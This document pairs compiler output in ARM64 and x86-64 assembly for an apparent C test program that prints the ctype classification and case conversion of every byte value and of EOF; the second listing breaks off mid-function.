.cfi_offset w30, -8
.cfi_offset w29, -16
adrp x8, ___stdoutp@GOTPAGE
ldr x8, [x8, ___stdoutp@GOTPAGEOFF]
str x8, [sp, #16] ; 8-byte Folded Spill
stur wzr, [x29, #-4]
stur w0, [x29, #-8]
stur x1, [x29, #-16]
str wzr, [sp, #24]
sturh wzr, [x29, #-18]
b LBB0_1
LBB0_1: ; =>This Inner Loop Header: Depth=1
ldurh w8, [x29, #-18]
subs w8, w8, #255
cset w8, gt
tbnz w8, #0, LBB0_44
b LBB0_2
LBB0_2: ; in Loop: Header=BB0_1 Depth=1
ldurh w8, [x29, #-18]
and w0, w8, #0xff
bl _print_char
ldurh w0, [x29, #-18]
bl _islower
subs w8, w0, #0
cset w8, eq
tbnz w8, #0, LBB0_5
b LBB0_3
LBB0_3: ; in Loop: Header=BB0_1 Depth=1
ldurh w9, [x29, #-18]
mov w8, #97
subs w8, w8, w9
cset w8, gt
tbnz w8, #0, LBB0_13
b LBB0_4
LBB0_4: ; in Loop: Header=BB0_1 Depth=1
ldurh w8, [x29, #-18]
subs w8, w8, #122
cset w8, gt
tbnz w8, #0, LBB0_13
b LBB0_5
LBB0_5: ; in Loop: Header=BB0_1 Depth=1
ldurh w0, [x29, #-18]
bl _islower
subs w8, w0, #0
cset w8, ne
tbnz w8, #0, LBB0_8
b LBB0_6
LBB0_6: ; in Loop: Header=BB0_1 Depth=1
ldurh w9, [x29, #-18]
mov w8, #97
subs w8, w8, w9
cset w8, gt
tbnz w8, #0, LBB0_8
b LBB0_7
LBB0_7: ; in Loop: Header=BB0_1 Depth=1
ldurh w8, [x29, #-18]
subs w8, w8, #122
cset w8, le
tbnz w8, #0, LBB0_13
b LBB0_8
LBB0_8: ; in Loop: Header=BB0_1 Depth=1
ldurh w0, [x29, #-18]
bl _toupper
str w0, [sp, #12] ; 4-byte Folded Spill
ldurh w9, [x29, #-18]
mov w8, #97
subs w8, w8, w9
cset w8, gt
tbnz w8, #0, LBB0_11
b LBB0_9
LBB0_9: ; in Loop: Header=BB0_1 Depth=1
ldurh w8, [x29, #-18]
subs w8, w8, #122
cset w8, gt
tbnz w8, #0, LBB0_11
b LBB0_10
LBB0_10: ; in Loop: Header=BB0_1 Depth=1
ldurh w8, [x29, #-18]
subs w8, w8, #97
add w8, w8, #65
str w8, [sp, #8] ; 4-byte Folded Spill
b LBB0_12
LBB0_11: ; in Loop: Header=BB0_1 Depth=1
ldurh w8, [x29, #-18]
str w8, [sp, #8] ; 4-byte Folded Spill
b LBB0_12
LBB0_12: ; in Loop: Header=BB0_1 Depth=1
ldr w8, [sp, #12] ; 4-byte Folded Reload
ldr w9, [sp, #8] ; 4-byte Folded Reload
subs w8, w8, w9
cset w8, eq
tbnz w8, #0, LBB0_14
b LBB0_13
LBB0_13: ; in Loop: Header=BB0_1 Depth=1
ldr x8, [sp, #16] ; 8-byte Folded Reload
ldr x1, [x8]
adrp x0, l_.str@PAGE
add x0, x0, l_.str@PAGEOFF
bl _fputs
ldr w8, [sp, #24]
add w8, w8, #1
str w8, [sp, #24]
b LBB0_14
LBB0_14: ; in Loop: Header=BB0_1 Depth=1
b LBB0_15
LBB0_15: ; in Loop: Header=BB0_1 Depth=1
ldurh w0, [x29, #-18]
bl _isascii
subs w8, w0, #0
cset w8, eq
tbnz w8, #0, LBB0_17
b LBB0_16
LBB0_16: ; in Loop: Header=BB0_1 Depth=1
ldr x8, [sp, #16] ; 8-byte Folded Reload
ldr x1, [x8]
adrp x0, l_.str.1@PAGE
add x0, x0, l_.str.1@PAGEOFF
bl _fputs
b LBB0_17
LBB0_17: ; in Loop: Header=BB0_1 Depth=1
ldurh w0, [x29, #-18]
bl _isalnum
subs w8, w0, #0
cset w8, eq
tbnz w8, #0, LBB0_19
b LBB0_18
LBB0_18: ; in Loop: Header=BB0_1 Depth=1
ldr x8, [sp, #16] ; 8-byte Folded Reload
ldr x1, [x8]
adrp x0, l_.str.2@PAGE
add x0, x0, l_.str.2@PAGEOFF
bl _fputs
b LBB0_19
LBB0_19: ; in Loop: Header=BB0_1 Depth=1
ldurh w0, [x29, #-18]
bl _isalpha
subs w8, w0, #0
cset w8, eq
tbnz w8, #0, LBB0_21
b LBB0_20
LBB0_20: ; in Loop: Header=BB0_1 Depth=1
ldr x8, [sp, #16] ; 8-byte Folded Reload
ldr x1, [x8]
adrp x0, l_.str.3@PAGE
add x0, x0, l_.str.3@PAGEOFF
bl _fputs
b LBB0_21
LBB0_21: ; in Loop: Header=BB0_1 Depth=1
ldurh w0, [x29, #-18]
bl _iscntrl
subs w8, w0, #0
cset w8, eq
tbnz w8, #0, LBB0_23
b LBB0_22
LBB0_22: ; in Loop: Header=BB0_1 Depth=1
ldr x8, [sp, #16] ; 8-byte Folded Reload
ldr x1, [x8]
adrp x0, l_.str.4@PAGE
add x0, x0, l_.str.4@PAGEOFF
bl _fputs
b LBB0_23
LBB0_23: ; in Loop: Header=BB0_1 Depth=1
ldurh w0, [x29, #-18]
bl _isdigit
subs w8, w0, #0
cset w8, eq
tbnz w8, #0, LBB0_25
b LBB0_24
LBB0_24: ; in Loop: Header=BB0_1 Depth=1
ldr x8, [sp, #16] ; 8-byte Folded Reload
ldr x1, [x8]
adrp x0, l_.str.5@PAGE
add x0, x0, l_.str.5@PAGEOFF
bl _fputs
b LBB0_25
LBB0_25: ; in Loop: Header=BB0_1 Depth=1
ldurh w0, [x29, #-18]
bl _isgraph
subs w8, w0, #0
cset w8, eq
tbnz w8, #0, LBB0_27
b LBB0_26
LBB0_26: ; in Loop: Header=BB0_1 Depth=1
ldr x8, [sp, #16] ; 8-byte Folded Reload
ldr x1, [x8]
adrp x0, l_.str.6@PAGE
add x0, x0, l_.str.6@PAGEOFF
bl _fputs
b LBB0_27
LBB0_27: ; in Loop: Header=BB0_1 Depth=1
ldurh w0, [x29, #-18]
bl _islower
subs w8, w0, #0
cset w8, eq
tbnz w8, #0, LBB0_29
b LBB0_28
LBB0_28: ; in Loop: Header=BB0_1 Depth=1
ldr x8, [sp, #16] ; 8-byte Folded Reload
ldr x1, [x8]
adrp x0, l_.str.7@PAGE
add x0, x0, l_.str.7@PAGEOFF
bl _fputs
b LBB0_29
LBB0_29: ; in Loop: Header=BB0_1 Depth=1
ldurh w0, [x29, #-18]
bl _isprint
subs w8, w0, #0
cset w8, eq
tbnz w8, #0, LBB0_31
b LBB0_30
LBB0_30: ; in Loop: Header=BB0_1 Depth=1
ldr x8, [sp, #16] ; 8-byte Folded Reload
ldr x1, [x8]
adrp x0, l_.str.8@PAGE
add x0, x0, l_.str.8@PAGEOFF
bl _fputs
b LBB0_31
LBB0_31: ; in Loop: Header=BB0_1 Depth=1
ldurh w0, [x29, #-18]
bl _ispunct
subs w8, w0, #0
cset w8, eq
tbnz w8, #0, LBB0_33
b LBB0_32
LBB0_32: ; in Loop: Header=BB0_1 Depth=1
ldr x8, [sp, #16] ; 8-byte Folded Reload
ldr x1, [x8]
adrp x0, l_.str.9@PAGE
add x0, x0, l_.str.9@PAGEOFF
bl _fputs
b LBB0_33
LBB0_33: ; in Loop: Header=BB0_1 Depth=1
ldurh w0, [x29, #-18]
bl _isspace
subs w8, w0, #0
cset w8, eq
tbnz w8, #0, LBB0_35
b LBB0_34
LBB0_34: ; in Loop: Header=BB0_1 Depth=1
ldr x8, [sp, #16] ; 8-byte Folded Reload
ldr x1, [x8]
adrp x0, l_.str.10@PAGE
add x0, x0, l_.str.10@PAGEOFF
bl _fputs
b LBB0_35
LBB0_35: ; in Loop: Header=BB0_1 Depth=1
ldurh w0, [x29, #-18]
bl _isupper
subs w8, w0, #0
cset w8, eq
tbnz w8, #0, LBB0_37
b LBB0_36
LBB0_36: ; in Loop: Header=BB0_1 Depth=1
ldr x8, [sp, #16] ; 8-byte Folded Reload
ldr x1, [x8]
adrp x0, l_.str.11@PAGE
add x0, x0, l_.str.11@PAGEOFF
bl _fputs
b LBB0_37
LBB0_37: ; in Loop: Header=BB0_1 Depth=1
ldurh w0, [x29, #-18]
bl _isxdigit
subs w8, w0, #0
cset w8, eq
tbnz w8, #0, LBB0_39
b LBB0_38
LBB0_38: ; in Loop: Header=BB0_1 Depth=1
ldr x8, [sp, #16] ; 8-byte Folded Reload
ldr x1, [x8]
adrp x0, l_.str.12@PAGE
add x0, x0, l_.str.12@PAGEOFF
bl _fputs
b LBB0_39
LBB0_39: ; in Loop: Header=BB0_1 Depth=1
ldurh w0, [x29, #-18]
bl _isblank
subs w8, w0, #0
cset w8, eq
tbnz w8, #0, LBB0_41
b LBB0_40
LBB0_40: ; in Loop: Header=BB0_1 Depth=1
ldr x8, [sp, #16] ; 8-byte Folded Reload
ldr x1, [x8]
adrp x0, l_.str.13@PAGE
add x0, x0, l_.str.13@PAGEOFF
bl _fputs
b LBB0_41
LBB0_41: ; in Loop: Header=BB0_1 Depth=1
b LBB0_42
LBB0_42: ; in Loop: Header=BB0_1 Depth=1
ldr x8, [sp, #16] ; 8-byte Folded Reload
ldr x1, [x8]
adrp x0, l_.str.14@PAGE
add x0, x0, l_.str.14@PAGEOFF
bl _fputs
ldurh w0, [x29, #-18]
bl _tolower
and w0, w0, #0xff
bl _print_char
ldr x8, [sp, #16] ; 8-byte Folded Reload
ldr x1, [x8]
adrp x0, l_.str.15@PAGE
add x0, x0, l_.str.15@PAGEOFF
bl _fputs
ldurh w0, [x29, #-18]
bl _toupper
and w0, w0, #0xff
bl _print_char
mov w0, #10
bl _putchar
b LBB0_43
LBB0_43: ; in Loop: Header=BB0_1 Depth=1
ldurh w8, [x29, #-18]
add w8, w8, #1
sturh w8, [x29, #-18]
b LBB0_1
LBB0_44:
ldr x8, [sp, #16] ; 8-byte Folded Reload
ldr x1, [x8]
adrp x0, l_.str.16@PAGE
add x0, x0, l_.str.16@PAGEOFF
bl _fputs
mov w0, #-1
bl _tolower
adds w8, w0, #1
cset w8, eq
tbnz w8, #0, LBB0_46
b LBB0_45
LBB0_45:
ldr w8, [sp, #24]
add w8, w8, #1
str w8, [sp, #24]
mov w0, #-1
bl _tolower
mov x9, sp
; implicit-def: $x8
mov x8, x0
str x8, [x9]
adrp x0, l_.str.17@PAGE
add x0, x0, l_.str.17@PAGEOFF
bl _printf
b LBB0_46
LBB0_46:
mov w0, #-1
bl _toupper
adds w8, w0, #1
cset w8, eq
tbnz w8, #0, LBB0_48
b LBB0_47
LBB0_47:
ldr w8, [sp, #24]
add w8, w8, #1
str w8, [sp, #24]
mov w0, #-1
bl _toupper
mov x9, sp
; implicit-def: $x8
mov x8, x0
str x8, [x9]
adrp x0, l_.str.18@PAGE
add x0, x0, l_.str.18@PAGEOFF
bl _printf
b LBB0_48
LBB0_48:
b LBB0_49
LBB0_49:
mov w0, #-1
bl _isascii
subs w8, w0, #0
cset w8, eq
tbnz w8, #0, LBB0_51
b LBB0_50
LBB0_50:
ldr x8, [sp, #16] ; 8-byte Folded Reload
ldr x1, [x8]
adrp x0, l_.str.1@PAGE
add x0, x0, l_.str.1@PAGEOFF
bl _fputs
ldr w8, [sp, #24]
add w8, w8, #1
str w8, [sp, #24]
b LBB0_51
LBB0_51:
mov w0, #-1
bl _isalnum
subs w8, w0, #0
cset w8, eq
tbnz w8, #0, LBB0_53
b LBB0_52
LBB0_52:
ldr x8, [sp, #16] ; 8-byte Folded Reload
ldr x1, [x8]
adrp x0, l_.str.2@PAGE
add x0, x0, l_.str.2@PAGEOFF
bl _fputs
ldr w8, [sp, #24]
add w8, w8, #1
str w8, [sp, #24]
b LBB0_53
LBB0_53:
mov w0, #-1
bl _isalpha
subs w8, w0, #0
cset w8, eq
tbnz w8, #0, LBB0_55
b LBB0_54
LBB0_54:
ldr x8, [sp, #16] ; 8-byte Folded Reload
ldr x1, [x8]
adrp x0, l_.str.3@PAGE
add x0, x0, l_.str.3@PAGEOFF
bl _fputs
ldr w8, [sp, #24]
add w8, w8, #1
str w8, [sp, #24]
b LBB0_55
LBB0_55:
mov w0, #-1
bl _iscntrl
subs w8, w0, #0
cset w8, eq
tbnz w8, #0, LBB0_57
b LBB0_56
LBB0_56:
ldr x8, [sp, #16] ; 8-byte Folded Reload
ldr x1, [x8]
adrp x0, l_.str.4@PAGE
add x0, x0, l_.str.4@PAGEOFF
bl _fputs
ldr w8, [sp, #24]
add w8, w8, #1
str w8, [sp, #24]
b LBB0_57
LBB0_57:
mov w0, #-1
bl _isdigit
subs w8, w0, #0
cset w8, eq
tbnz w8, #0, LBB0_59
b LBB0_58
LBB0_58:
ldr x8, [sp, #16] ; 8-byte Folded Reload
ldr x1, [x8]
adrp x0, l_.str.5@PAGE
add x0, x0, l_.str.5@PAGEOFF
bl _fputs
ldr w8, [sp, #24]
add w8, w8, #1
str w8, [sp, #24]
b LBB0_59
LBB0_59:
mov w0, #-1
bl _isgraph
subs w8, w0, #0
cset w8, eq
tbnz w8, #0, LBB0_61
b LBB0_60
LBB0_60:
ldr x8, [sp, #16] ; 8-byte Folded Reload
ldr x1, [x8]
adrp x0, l_.str.6@PAGE
add x0, x0, l_.str.6@PAGEOFF
bl _fputs
ldr w8, [sp, #24]
add w8, w8, #1
str w8, [sp, #24]
b LBB0_61
LBB0_61:
mov w0, #-1
bl _islower
subs w8, w0, #0
cset w8, eq
tbnz w8, #0, LBB0_63
b LBB0_62
LBB0_62:
ldr x8, [sp, #16] ; 8-byte Folded Reload
ldr x1, [x8]
adrp x0, l_.str.7@PAGE
add x0, x0, l_.str.7@PAGEOFF
bl _fputs
ldr w8, [sp, #24]
add w8, w8, #1
str w8, [sp, #24]
b LBB0_63
LBB0_63:
mov w0, #-1
bl _isprint
subs w8, w0, #0
cset w8, eq
tbnz w8, #0, LBB0_65
b LBB0_64
LBB0_64:
ldr x8, [sp, #16] ; 8-byte Folded Reload
ldr x1, [x8]
adrp x0, l_.str.8@PAGE
add x0, x0, l_.str.8@PAGEOFF
bl _fputs
ldr w8, [sp, #24]
add w8, w8, #1
str w8, [sp, #24]
b LBB0_65
LBB0_65:
mov w0, #-1
bl _ispunct
subs w8, w0, #0
cset w8, eq
tbnz w8, #0, LBB0_67
b LBB0_66
LBB0_66:
ldr x8, [sp, #16] ; 8-byte Folded Reload
ldr x1, [x8]
adrp x0, l_.str.9@PAGE
add x0, x0, l_.str.9@PAGEOFF
bl _fputs
ldr w8, [sp, #24]
add w8, w8, #1
str w8, [sp, #24]
b LBB0_67
LBB0_67:
mov w0, #-1
bl _isspace
subs w8, w0, #0
cset w8, eq
tbnz w8, #0, LBB0_69
b LBB0_68
LBB0_68:
ldr x8, [sp, #16] ; 8-byte Folded Reload
ldr x1, [x8]
adrp x0, l_.str.10@PAGE
add x0, x0, l_.str.10@PAGEOFF
bl _fputs
ldr w8, [sp, #24]
add w8, w8, #1
str w8, [sp, #24]
b LBB0_69
LBB0_69:
mov w0, #-1
bl _isupper
subs w8, w0, #0
cset w8, eq
tbnz w8, #0, LBB0_71
b LBB0_70
LBB0_70:
ldr x8, [sp, #16] ; 8-byte Folded Reload
ldr x1, [x8]
adrp x0, l_.str.11@PAGE
add x0, x0, l_.str.11@PAGEOFF
bl _fputs
ldr w8, [sp, #24]
add w8, w8, #1
str w8, [sp, #24]
b LBB0_71
LBB0_71:
mov w0, #-1
bl _isxdigit
subs w8, w0, #0
cset w8, eq
tbnz w8, #0, LBB0_73
b LBB0_72
LBB0_72:
ldr x8, [sp, #16] ; 8-byte Folded Reload
ldr x1, [x8]
adrp x0, l_.str.12@PAGE
add x0, x0, l_.str.12@PAGEOFF
bl _fputs
ldr w8, [sp, #24]
add w8, w8, #1
str w8, [sp, #24]
b LBB0_73
LBB0_73:
mov w0, #-1
bl _isblank
subs w8, w0, #0
cset w8, eq
tbnz w8, #0, LBB0_75
b LBB0_74
LBB0_74:
ldr x8, [sp, #16] ; 8-byte Folded Reload
ldr x1, [x8]
adrp x0, l_.str.13@PAGE
add x0, x0, l_.str.13@PAGEOFF
bl _fputs
ldr w8, [sp, #24]
add w8, w8, #1
str w8, [sp, #24]
b LBB0_75
LBB0_75:
b LBB0_76
LBB0_76:
ldr w9, [sp, #24]
mov w8, #0
subs w9, w9, #0
cset w9, ne
and w9, w9, #0x1
ands w9, w9, #0x1
csinc w0, w8, wzr, eq
ldp x29, x30, [sp, #48] ; 16-byte Folded Reload
add sp, sp, #64
ret
.cfi_endproc
; -- End function
.p2align 2 ; -- Begin function print_char
_print_char: ; @print_char
.cfi_startproc
; %bb.0:
sub sp, sp, #32
.cfi_def_cfa_offset 32
stp x29, x30, [sp, #16] ; 16-byte Folded Spill
add x29, sp, #16
.cfi_def_cfa w29, 16
.cfi_offset w30, -8
.cfi_offset w29, -16
sturb w0, [x29, #-1]
ldurb w10, [x29, #-1]
mov x9, sp
; implicit-def: $x8
mov x8, x10
str x8, [x9]
adrp x0, l_.str.19@PAGE
add x0, x0, l_.str.19@PAGEOFF
bl _printf
ldurb w0, [x29, #-1]
bl _isgraph
subs w8, w0, #0
cset w8, eq
tbnz w8, #0, LBB1_2
b LBB1_1
LBB1_1:
ldurb w10, [x29, #-1]
mov x9, sp
; implicit-def: $x8
mov x8, x10
str x8, [x9]
adrp x0, l_.str.20@PAGE
add x0, x0, l_.str.20@PAGEOFF
bl _printf
b LBB1_3
LBB1_2:
ldurb w10, [x29, #-1]
mov x9, sp
; implicit-def: $x8
mov x8, x10
str x8, [x9]
adrp x0, l_.str.21@PAGE
add x0, x0, l_.str.21@PAGEOFF
bl _printf
b LBB1_3
LBB1_3:
ldp x29, x30, [sp, #16] ; 16-byte Folded Reload
add sp, sp, #32
ret
.cfi_endproc
; -- End function
.section __TEXT,__cstring,cstring_literals
l_.str: ; @.str
.asciz " BOGUS"
l_.str.1: ; @.str.1
.asciz " isascii"
l_.str.2: ; @.str.2
.asciz " isalnum"
l_.str.3: ; @.str.3
.asciz " isalpha"
l_.str.4: ; @.str.4
.asciz " iscntrl"
l_.str.5: ; @.str.5
.asciz " isdigit"
l_.str.6: ; @.str.6
.asciz " isgraph"
l_.str.7: ; @.str.7
.asciz " islower"
l_.str.8: ; @.str.8
.asciz " isprint"
l_.str.9: ; @.str.9
.asciz " ispunct"
l_.str.10: ; @.str.10
.asciz " isspace"
l_.str.11: ; @.str.11
.asciz " isupper"
l_.str.12: ; @.str.12
.asciz " isxdigit"
l_.str.13: ; @.str.13
.asciz " isblank"
l_.str.14: ; @.str.14
.asciz "; lower = "
l_.str.15: ; @.str.15
.asciz "; upper = "
l_.str.16: ; @.str.16
.asciz "EOF"
l_.str.17: ; @.str.17
.asciz " tolower BOGUS %d;"
l_.str.18: ; @.str.18
.asciz " toupper BOGUS %d;"
l_.str.19: ; @.str.19
.asciz "%d/"
l_.str.20: ; @.str.20
.asciz "'%c'"
l_.str.21: ; @.str.21
.asciz "'\\%.3o'"
.subsections_via_symbols
| .section __TEXT,__text,regular,pure_instructions
.build_version macos, 13, 0 sdk_version 13, 3
.globl _main ## -- Begin function main
.p2align 4, 0x90
_main: ## @main
.cfi_startproc
## %bb.0:
pushq %rbp
.cfi_def_cfa_offset 16
.cfi_offset %rbp, -16
movq %rsp, %rbp
.cfi_def_cfa_register %rbp
subq $32, %rsp
movl $0, -4(%rbp)
movl %edi, -8(%rbp)
movq %rsi, -16(%rbp)
movl $0, -24(%rbp)
movw $0, -18(%rbp)
LBB0_1: ## =>This Inner Loop Header: Depth=1
movzwl -18(%rbp), %eax
cmpl $255, %eax
jg LBB0_44
## %bb.2: ## in Loop: Header=BB0_1 Depth=1
movw -18(%rbp), %ax
## kill: def $al killed $al killed $ax
movzbl %al, %edi
callq _print_char
movzwl -18(%rbp), %edi
callq _islower
cmpl $0, %eax
je LBB0_5
## %bb.3: ## in Loop: Header=BB0_1 Depth=1
movzwl -18(%rbp), %ecx
movl $97, %eax
cmpl %ecx, %eax
jg LBB0_13
## %bb.4: ## in Loop: Header=BB0_1 Depth=1
movzwl -18(%rbp), %eax
cmpl $122, %eax
jg LBB0_13
LBB0_5: ## in Loop: Header=BB0_1 Depth=1
movzwl -18(%rbp), %edi
callq _islower
cmpl $0, %eax
jne LBB0_8
## %bb.6: ## in Loop: Header=BB0_1 Depth=1
movzwl -18(%rbp), %ecx
movl $97, %eax
cmpl %ecx, %eax
jg LBB0_8
## %bb.7: ## in Loop: Header=BB0_1 Depth=1
movzwl -18(%rbp), %eax
cmpl $122, %eax
jle LBB0_13
LBB0_8: ## in Loop: Header=BB0_1 Depth=1
movzwl -18(%rbp), %edi
callq _toupper
movl %eax, -28(%rbp) ## 4-byte Spill
movzwl -18(%rbp), %ecx
movl $97, %eax
cmpl %ecx, %eax
jg LBB0_11
## %bb.9: ## in Loop: Header=BB0_1 Depth=1
movzwl -18(%rbp), %eax
cmpl $122, %eax
jg LBB0_11
## %bb.10: ## in Loop: Header=BB0_1 Depth=1
movzwl -18(%rbp), %eax
subl $97, %eax
addl $65, %eax
movl %eax, -32(%rbp) ## 4-byte Spill
jmp LBB0_12
LBB0_11: ## in Loop: Header=BB0_1 Depth=1
movzwl -18(%rbp), %eax
movl %eax, -32(%rbp) ## 4-byte Spill
LBB0_12: ## in Loop: Header=BB0_1 Depth=1
movl -28(%rbp), %eax ## 4-byte Reload
movl -32(%rbp), %ecx ## 4-byte Reload
cmpl %ecx, %eax
je LBB0_14
LBB0_13: ## in Loop: Header=BB0_1 Depth=1
movq ___stdoutp@GOTPCREL(%rip), %rax
movq (%rax), %rsi
leaq L_.str(%rip), %rdi
callq _fputs
movl -24(%rbp), %eax
addl $1, %eax
movl %eax, -24(%rbp)
LBB0_14: ## in Loop: Header=BB0_1 Depth=1
jmp LBB0_15
LBB0_15: ## in Loop: Header=BB0_1 Depth=1
movzwl -18(%rbp), %edi
callq _isascii
cmpl $0, %eax
je LBB0_17
## %bb.16: ## in Loop: Header=BB0_1 Depth=1
movq ___stdoutp@GOTPCREL(%rip), %rax
movq (%rax), %rsi
leaq L_.str.1(%rip), %rdi
callq _fputs
LBB0_17: ## in Loop: Header=BB0_1 Depth=1
movzwl -18(%rbp), %edi
callq _isalnum
cmpl $0, %eax
je LBB0_19
## %bb.18: ## in Loop: Header=BB0_1 Depth=1
movq ___stdoutp@GOTPCREL(%rip), %rax
movq (%rax), %rsi
leaq L_.str.2(%rip), %rdi
callq _fputs
LBB0_19: ## in Loop: Header=BB0_1 Depth=1
movzwl -18(%rbp), %edi
callq _isalpha
cmpl $0, %eax
je LBB0_21
## %bb.20: ## in Loop: Header=BB0_1 Depth=1
movq ___stdoutp@GOTPCREL(%rip), %rax
movq (%rax), %rsi
leaq L_.str.3(%rip), %rdi
callq _fputs
LBB0_21: ## in Loop: Header=BB0_1 Depth=1
movzwl -18(%rbp), %edi
callq _iscntrl
cmpl $0, %eax
je LBB0_23
## %bb.22: ## in Loop: Header=BB0_1 Depth=1
movq ___stdoutp@GOTPCREL(%rip), %rax
movq (%rax), %rsi
leaq L_.str.4(%rip), %rdi
callq _fputs
LBB0_23: ## in Loop: Header=BB0_1 Depth=1
movzwl -18(%rbp), %edi
callq _isdigit
cmpl $0, %eax
je LBB0_25
## %bb.24: ## in Loop: Header=BB0_1 Depth=1
movq ___stdoutp@GOTPCREL(%rip), %rax
movq (%rax), %rsi
leaq L_.str.5(%rip), %rdi
callq _fputs
LBB0_25: ## in Loop: Header=BB0_1 Depth=1
movzwl -18(%rbp), %edi
callq _isgraph
cmpl $0, %eax
je LBB0_27
## %bb.26: ## in Loop: Header=BB0_1 Depth=1
movq ___stdoutp@GOTPCREL(%rip), %rax
movq (%rax), %rsi
leaq L_.str.6(%rip), %rdi
callq _fputs
LBB0_27: ## in Loop: Header=BB0_1 Depth=1
movzwl -18(%rbp), %edi
callq _islower
cmpl $0, %eax
je LBB0_29
## %bb.28: ## in Loop: Header=BB0_1 Depth=1
movq ___stdoutp@GOTPCREL(%rip), %rax
movq (%rax), %rsi
leaq L_.str.7(%rip), %rdi
callq _fputs
LBB0_29: ## in Loop: Header=BB0_1 Depth=1
movzwl -18(%rbp), %edi
callq _isprint
cmpl $0, %eax
je LBB0_31
## %bb.30: ## in Loop: Header=BB0_1 Depth=1
movq ___stdoutp@GOTPCREL(%rip), %rax
movq (%rax), %rsi
leaq L_.str.8(%rip), %rdi
callq _fputs
LBB0_31: ## in Loop: Header=BB0_1 Depth=1
movzwl -18(%rbp), %edi
callq _ispunct
cmpl $0, %eax
je LBB0_33
## %bb.32: ## in Loop: Header=BB0_1 Depth=1
movq ___stdoutp@GOTPCREL(%rip), %rax
movq (%rax), %rsi
leaq L_.str.9(%rip), %rdi
callq _fputs
LBB0_33: ## in Loop: Header=BB0_1 Depth=1
movzwl -18(%rbp), %edi
callq _isspace
cmpl $0, %eax
je LBB0_35
## %bb.34: ## in Loop: Header=BB0_1 Depth=1
movq ___stdoutp@GOTPCREL(%rip), %rax
movq (%rax), %rsi
leaq L_.str.10(%rip), %rdi
callq _fputs
LBB0_35: ## in Loop: Header=BB0_1 Depth=1
movzwl -18(%rbp), %edi
callq _isupper
cmpl $0, %eax
je LBB0_37
## %bb.36: ## in Loop: Header=BB0_1 Depth=1
movq ___stdoutp@GOTPCREL(%rip), %rax
movq (%rax), %rsi
leaq L_.str.11(%rip), %rdi
callq _fputs
LBB0_37: ## in Loop: Header=BB0_1 Depth=1
movzwl -18(%rbp), %edi
callq _isxdigit
cmpl $0, %eax
je LBB0_39
## %bb.38: ## in Loop: Header=BB0_1 Depth=1
movq ___stdoutp@GOTPCREL(%rip), %rax
movq (%rax), %rsi
leaq L_.str.12(%rip), %rdi
callq _fputs
LBB0_39: ## in Loop: Header=BB0_1 Depth=1
movzwl -18(%rbp), %edi
callq _isblank
cmpl $0, %eax
je LBB0_41
## %bb.40: ## in Loop: Header=BB0_1 Depth=1
movq ___stdoutp@GOTPCREL(%rip), %rax
movq (%rax), %rsi
leaq L_.str.13(%rip), %rdi
callq _fputs
LBB0_41: ## in Loop: Header=BB0_1 Depth=1
jmp LBB0_42
LBB0_42: ## in Loop: Header=BB0_1 Depth=1
movq ___stdoutp@GOTPCREL(%rip), %rax
movq (%rax), %rsi
leaq L_.str.14(%rip), %rdi
callq _fputs
movzwl -18(%rbp), %edi
callq _tolower
## kill: def $al killed $al killed $eax
movzbl %al, %edi
callq _print_char
movq ___stdoutp@GOTPCREL(%rip), %rax
movq (%rax), %rsi
leaq L_.str.15(%rip), %rdi
callq _fputs
movzwl -18(%rbp), %edi
callq _toupper
## kill: def $al killed $al killed $eax
movzbl %al, %edi
callq _print_char
movl $10, %edi
callq _putchar
## %bb.43: ## in Loop: Header=BB0_1 Depth=1
movw -18(%rbp), %ax
addw $1, %ax
movw %ax, -18(%rbp)
jmp LBB0_1
LBB0_44:
movq ___stdoutp@GOTPCREL(%rip), %rax
movq (%rax), %rsi
leaq L_.str.16(%rip), %rdi
callq _fputs
movl $4294967295, %edi ## imm = 0xFFFFFFFF
callq _tolower
cmpl $-1, %eax
je LBB0_46
## %bb.45:
movl -24(%rbp), %eax
addl $1, %eax
movl %eax, -24(%rbp)
movl $4294967295, %edi ## imm = 0xFFFFFFFF
callq _tolower
movl %eax, %esi
leaq L_.str.17(%rip), %rdi
movb $0, %al
callq _printf
LBB0_46:
movl $4294967295, %edi ## imm = 0xFFFFFFFF
callq _toupper
cmpl $-1, %eax
je LBB0_48
## %bb.47:
movl -24(%rbp), %eax
addl $1, %eax
movl %eax, -24(%rbp)
movl $4294967295, %edi ## imm = 0xFFFFFFFF
callq _toupper
movl %eax, %esi
leaq L_.str.18(%rip), %rdi
movb $0, %al
callq _printf
LBB0_48:
jmp LBB0_49
LBB0_49:
movl $4294967295, %edi ## imm = 0xFFFFFFFF
callq _isascii
cmpl $0, %eax
je LBB0_51
## %bb.50:
movq ___stdoutp@GOTPCREL(%rip), %rax
movq (%rax), %rsi
leaq L_.str.1(%rip), %rdi
callq _fputs
movl -24(%rbp), %eax
addl $1, %eax
movl %eax, -24(%rbp)
LBB0_51:
movl $4294967295, %edi ## imm = 0xFFFFFFFF
callq _isalnum
cmpl $0, %eax
je LBB0_53
## %bb.52:
movq ___stdoutp@GOTPCREL(%rip), %rax
movq (%rax), %rsi
leaq L_.str.2(%rip), %rdi
callq _fputs
movl -24(%rbp), %eax
addl $1, %eax
movl %eax, -24(%rbp)
LBB0_53:
movl $4294967295, %edi ## imm = 0xFFFFFFFF
callq _isalpha
cmpl $0, %eax
je LBB0_55
## %bb.54:
movq ___stdoutp@GOTPCREL(%rip), %rax
movq (%rax), %rsi
leaq L_.str.3(%rip), %rdi
callq _fputs
movl -24(%rbp), %eax
addl $1, %eax
movl %eax, -24(%rbp)
LBB0_55:
movl $4294967295, %edi ## imm = 0xFFFFFFFF
callq _iscntrl
cmpl $0, %eax
je LBB0_57
## %bb.56:
movq ___stdoutp@GOTPCREL(%rip), %rax
movq (%rax), %rsi
leaq L_.str.4(%rip), %rdi
callq _fputs
movl -24(%rbp), %eax
addl $1, %eax
movl %eax, -24(%rbp)
LBB0_57:
movl $4294967295, %edi ## imm = 0xFFFFFFFF
callq _isdigit
cmpl $0, %eax
je LBB0_59
## %bb.58:
movq ___stdoutp@GOTPCREL(%rip), %rax
movq (%rax), %rsi
leaq L_.str.5(%rip), %rdi
callq _fputs
movl -24(%rbp), %eax
addl $1, %eax
movl %eax, -24(%rbp)
LBB0_59:
movl $4294967295, %edi ## imm = 0xFFFFFFFF
callq _isgraph
cmpl $0, %eax
je LBB0_61
## %bb.60:
movq ___stdoutp@GOTPCREL(%rip), %rax
movq (%rax), %rsi
leaq L_.str.6(%rip), %rdi
callq _fputs
movl -24(%rbp), %eax
addl $1, %eax
movl %eax, -24(%rbp)
LBB0_61:
movl $4294967295, %edi ## imm = 0xFFFFFFFF
callq _islower
cmpl $0, %eax
je LBB0_63
## %bb.62:
